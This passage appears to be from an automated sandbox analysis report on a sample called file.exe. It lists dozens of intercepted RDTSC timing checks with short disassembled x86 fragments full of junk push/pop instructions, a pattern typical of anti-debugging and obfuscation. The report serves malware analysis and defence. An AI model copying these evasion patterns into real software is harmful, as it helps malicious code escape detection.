push eax 0x00000070 ret 0x00000071 pop eax 0x00000072 ret 0x00000073 nop 0x00000074 push eax 0x00000075 push edx 0x00000076 jne 00007F0E647B6085h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A868E1 second address: A868FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b je 00007F0E6551CA3Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A868FC second address: A86904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8A7E8 second address: A8A84A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+122D2B98h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov edi, dword ptr [ebp+12460A65h] 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 sub dword ptr [ebp+122D59E8h], edi 0x0000002a mov dword ptr [ebp+122D2026h], esi 0x00000030 mov eax, dword ptr [ebp+122D16C5h] 0x00000036 mov bl, 19h 0x00000038 jmp 00007F0E6551CA45h 0x0000003d push FFFFFFFFh 0x0000003f movsx edi, si 0x00000042 push eax 0x00000043 pushad 0x00000044 pushad 0x00000045 push edi 0x00000046 pop edi 0x00000047 jl 00007F0E6551CA36h 0x0000004d popad 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8A84A second address: A8A84E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8C7A0 second address: A8C848 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0E6551CA45h 0x0000000e popad 0x0000000f nop 0x00000010 mov di, 8F9Ah 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F0E6551CA38h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 push 00000000h 0x00000032 call 00007F0E6551CA3Ah 0x00000037 jmp 00007F0E6551CA49h 0x0000003c pop edi 0x0000003d xchg eax, esi 0x0000003e pushad 0x0000003f push ebx 0x00000040 jmp 00007F0E6551CA45h 0x00000045 pop ebx 0x00000046 jmp 00007F0E6551CA40h 0x0000004b popad 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push ebx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8C848 second address: A8C84D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8B96D second address: A8B972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8B972 second address: A8BA27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6086h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b jmp 00007F0E647B6088h 0x00000010 pop edi 0x00000011 nop 0x00000012 pushad 0x00000013 sub dword ptr [ebp+122D2343h], eax 0x00000019 jp 00007F0E647B6076h 0x0000001f popad 0x00000020 push dword ptr fs:[00000000h] 0x00000027 jmp 00007F0E647B6088h 0x0000002c mov dword ptr fs:[00000000h], esp 0x00000033 mov bl, 36h 0x00000035 mov eax, dword ptr [ebp+122D032Dh] 0x0000003b push 00000000h 0x0000003d push eax 0x0000003e call 00007F0E647B6078h 0x00000043 pop eax 0x00000044 mov dword ptr [esp+04h], eax 0x00000048 add dword ptr [esp+04h], 0000001Ah 0x00000050 inc eax 0x00000051 push eax 0x00000052 ret 0x00000053 pop eax 0x00000054 ret 0x00000055 push FFFFFFFFh 0x00000057 mov di, ax 0x0000005a mov bx, si 0x0000005d nop 0x0000005e jl 00007F0E647B607Ah 0x00000064 push ecx 0x00000065 push ecx 0x00000066 pop ecx 0x00000067 pop ecx 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007F0E647B607Bh 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A94966 second address: A9496B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A9496B second address: A949BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6085h 0x00000007 jmp 00007F0E647B6084h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f jne 00007F0E647B6081h 0x00000015 pushad 0x00000016 jmp 00007F0E647B607Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A941ED second address: A94211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0E6551CA45h 0x0000000e jnc 00007F0E6551CA36h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A94211 second address: A9421B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A9421B second address: A94221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A94221 second address: A94225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A94225 second address: A94229 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A94229 second address: A94234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A94234 second address: A9423C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A9423C second address: A94255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0E647B6080h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A94255 second address: A9426C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA43h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A943A8 second address: A943AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A36862 second address: A36866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A36866 second address: A3686A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A9B5DD second address: A9B5EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ecx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A9B5EA second address: A9B602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F0E647B607Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A9B602 second address: A9B60C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F0E6551CA36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A9B60C second address: A9B610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A9B6A3 second address: A9B6ED instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0E6551CA36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jbe 00007F0E6551CA3Eh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push ecx 0x00000017 jmp 00007F0E6551CA43h 0x0000001c pop ecx 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 push ebx 0x00000021 pushad 0x00000022 popad 0x00000023 pop ebx 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push edi 0x00000028 pop edi 0x00000029 popad 0x0000002a popad 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A9B6ED second address: A9B70B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0E647B6089h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A9B81B second address: A9B847 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0E6551CA42h 0x00000008 js 00007F0E6551CA36h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jng 00007F0E6551CA48h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A9B847 second address: A9B84B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A9B84B second address: A9B878 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0E6551CA36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push edx 0x0000000d jmp 00007F0E6551CA47h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push edi 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A9B878 second address: 8BEE0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop eax 0x00000007 js 00007F0E647B608Eh 0x0000000d jmp 00007F0E647B6088h 0x00000012 push dword ptr [ebp+122D0361h] 0x00000018 stc 0x00000019 cmc 0x0000001a call dword ptr [ebp+122D2034h] 0x00000020 pushad 0x00000021 jmp 00007F0E647B6086h 0x00000026 mov dword ptr [ebp+122D2273h], edx 0x0000002c xor eax, eax 0x0000002e jmp 00007F0E647B6083h 0x00000033 mov dword ptr [ebp+122D2273h], edx 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d jmp 00007F0E647B607Eh 0x00000042 mov dword ptr [ebp+122D2D98h], eax 0x00000048 jmp 00007F0E647B6088h 0x0000004d mov esi, 0000003Ch 0x00000052 clc 0x00000053 cld 0x00000054 add esi, dword ptr [esp+24h] 0x00000058 jmp 00007F0E647B6086h 0x0000005d lodsw 0x0000005f jp 00007F0E647B607Ch 0x00000065 add eax, dword ptr [esp+24h] 0x00000069 pushad 0x0000006a mov eax, 3F34A5C6h 0x0000006f mov dx, ECF7h 0x00000073 popad 0x00000074 mov ebx, dword ptr [esp+24h] 0x00000078 stc 0x00000079 nop 0x0000007a pushad 0x0000007b jmp 00007F0E647B6084h 0x00000080 jns 00007F0E647B607Ch 0x00000086 popad 0x00000087 push eax 0x00000088 push eax 0x00000089 push eax 0x0000008a push edx 0x0000008b push ebx 0x0000008c pop ebx 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A9CF44 second address: A9CF48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A33119 second address: A33123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F0E647B6076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A34C68 second address: A34C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0E6551CA36h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A34C76 second address: A34C8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0E647B6084h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA1841 second address: AA1852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F0E6551CA36h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA1852 second address: AA1856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA1E06 second address: AA1E0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA20A0 second address: AA20AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F0E647B6076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA20AA second address: AA20CA instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0E6551CA36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F0E6551CA43h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA20CA second address: AA20D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA2212 second address: AA2218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA2218 second address: AA221C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA221C second address: AA224F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a ja 00007F0E6551CA3Ch 0x00000010 jo 00007F0E6551CA36h 0x00000016 jnc 00007F0E6551CA38h 0x0000001c pushad 0x0000001d push eax 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA2524 second address: AA2540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0E647B6088h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA2540 second address: AA254F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F0E6551CA36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA26BE second address: AA26C6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA26C6 second address: AA26D0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0E6551CA3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A34CA4 second address: A34CB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F0E647B6076h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA8F58 second address: AA8F74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA46h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA8F74 second address: AA8F88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0E647B607Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA79C6 second address: AA79CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA79CB second address: AA79DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA79DA second address: AA79E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F0E6551CA36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA7C89 second address: AA7C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0E647B6076h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA7C95 second address: AA7CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F0E6551CA3Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA7F57 second address: AA7F5C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA830D second address: AA8312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA88FC second address: AA8917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0E647B6082h 0x0000000a popad 0x0000000b push esi 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AA768E second address: AA76A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F0E6551CA3Ah 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AB08B2 second address: AB08BC instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0E647B6076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AAF8A4 second address: AAF8A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AAFB96 second address: AAFBA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0E647B6076h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F0E647B6076h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AAFBA9 second address: AAFBCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pushad 0x0000000b jmp 00007F0E6551CA3Ah 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AAFBCA second address: AAFBD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AAF300 second address: AAF319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0E6551CA40h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AB002F second address: AB0050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 ja 00007F0E647B60A0h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0E647B6082h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AB0050 second address: AB005A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0E6551CA36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AB01BD second address: AB01E2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0E647B6076h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007F0E647B607Ch 0x00000012 jng 00007F0E647B6076h 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F0E647B607Ah 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AB01E2 second address: AB01EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AB0361 second address: AB0367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AB0367 second address: AB0372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AB0613 second address: AB063C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B607Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0E647B6087h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AB063C second address: AB0646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0E6551CA36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: AB0646 second address: AB064A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ABA76E second address: ABA772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ABA772 second address: ABA778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: ABA778 second address: ABA781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A777B9 second address: A58FE9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F0E647B6085h 0x0000000c pop ebx 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 ja 00007F0E647B607Ch 0x00000017 call dword ptr [ebp+12468A86h] 0x0000001d jmp 00007F0E647B607Eh 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 pop eax 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A77E55 second address: A77E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 xor dword ptr [esp], 2BA73ED7h 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F0E6551CA38h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov dword ptr [ebp+12450F58h], edi 0x0000002d and ecx, 161AB867h 0x00000033 push 824C85A1h 0x00000038 push ecx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A77F87 second address: A77F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F0E647B6078h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A77F96 second address: A77F9B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
